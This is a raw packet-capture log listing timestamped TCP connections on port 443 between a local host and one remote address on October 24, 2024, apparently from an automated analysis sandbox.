Oct 24, 2024 16:05:39.277390003 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.277801991 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.277815104 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.411930084 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.411957979 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.412003994 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.412184000 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.412328959 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.412328959 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.412374020 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.412403107 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.415230036 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.415260077 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.415343046 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.415534973 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.415549994 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.716730118 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.717289925 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.717354059 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.717730999 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.717745066 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.718395948 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.718911886 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.718964100 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.719446898 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.719476938 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.818782091 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.819271088 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.819298029 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.819701910 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.819713116 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.854413986 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.854801893 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.854913950 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.854914904 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.854975939 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.855022907 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.855066061 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.855098009 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.855113983 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.855932951 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.856101036 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.856285095 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.856435061 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.856435061 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.856467962 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.856494904 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.857814074 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.857848883 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.858000994 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.858047009 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.858052969 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.858308077 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.858352900 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.858416080 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.858566046 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.858587027 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.948286057 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.948796988 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.948816061 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.949269056 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.949273109 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.950364113 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.950522900 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.950623989 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.950700045 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.950700045 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.950742006 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.950769901 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.953500032 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.953584909 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.953701019 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.953826904 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.953866959 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.083765030 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.083920002 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.084125996 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.084196091 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.084196091 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.084214926 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.084223986 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.086781025 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.086812973 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.086950064 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.087093115 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.087105036 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.150019884 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.150513887 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.150532961 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.151206970 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.151215076 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.282841921 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.282919884 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.282979965 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.283158064 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.283174992 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.283188105 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.283195972 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.285816908 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.285907030 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.286103010 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.286231041 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.286267042 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.602374077 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.602858067 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.602870941 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.603293896 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.603298903 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.671667099 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.672270060 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.672316074 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.672599077 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.672607899 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.714312077 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.714728117 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.714797020 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.715184927 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.715198040 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.733529091 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.733571053 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.733628035 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.733746052 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.734327078 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.734327078 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.734361887 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.734371901 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.742846012 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.742873907 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.742933989 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.743114948 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.743132114 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.805566072 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.805649042 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.805799007 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.805845022 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.805845022 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.805866003 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.805881977 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.808608055 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.808662891 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.808722973 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.808906078 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.808921099 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.828701019 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.829464912 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.829473972 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.830023050 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.830027103 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.845654964 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.845803976 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.845976114 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.847130060 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.847130060 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.847172976 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.847203970 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.854471922 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.854511023 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.854720116 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.855515003 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.855531931 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.958631039 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.958822966 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.958935022 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.959171057 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.959177971 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.959213018 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.959218025 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.964032888 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.964091063 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:40.964395046 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.964612961 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:40.964643955 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.102808952 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.109184980 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.109246969 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.110090971 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.110106945 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.256043911 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.256078959 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.256129026 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.256191015 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.256422043 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.256439924 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.256478071 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.256485939 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.260482073 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.260499001 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.260586023 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.260747910 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.260762930 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.499094963 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.499515057 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.499528885 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.499908924 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.499914885 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.533385038 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.533910036 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.533999920 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.534802914 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.534816980 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.608870983 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.609534979 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.609555960 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.610250950 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.610258102 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.637351990 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.637504101 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.637567997 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.637588978 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.637598038 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.640309095 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.640403986 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.640495062 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.640691042 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.640718937 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.663769007 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.663918018 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.664067984 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.664067984 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.664149046 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.664186954 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.665940046 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.666009903 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.666090012 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.666244984 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.666274071 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.738480091 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.738656044 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.738730907 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.739088058 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.739101887 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.743588924 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.743643999 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.743758917 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.744008064 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.744030952 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.786748886 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.787208080 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.787242889 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.787663937 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.787676096 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.916106939 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.916177034 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.916241884 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.916264057 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.916285992 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.916333914 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.916383028 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.916398048 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.916412115 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.916418076 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.919255972 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.919336081 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:41.919421911 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.919631958 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:41.919655085 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.006202936 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.006589890 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.006606102 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.007116079 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.007123947 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.142793894 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.142945051 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.143064976 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.143318892 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.143318892 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.143332005 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.143342018 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.146907091 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.146956921 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.147049904 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.147181988 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.147195101 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.385162115 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.386600971 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.386687994 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.387510061 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.387523890 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.407021046 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.407808065 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.407864094 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.408423901 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.408437967 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.489085913 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.489924908 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.489960909 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.490870953 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.490886927 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.533529997 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.533714056 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.533866882 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.544851065 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.544900894 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.544950008 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.544966936 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.549710035 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.549884081 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.549942017 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.566808939 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.566843987 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.566880941 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.566896915 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.597310066 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.597351074 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.597407103 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.603305101 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.603326082 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.621082067 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.621088982 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.621110916 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.621164083 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.621202946 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.621268988 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.621330976 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.621490002 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.624381065 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.624394894 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.634170055 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.634221077 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.634268999 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.634285927 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.647435904 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.647445917 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.647589922 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.648003101 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.648014069 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.654027939 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.654664040 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.654689074 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.656657934 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.656670094 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.781822920 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.781975031 CEST	443	49899	13.107.246.60	192.168.2.4
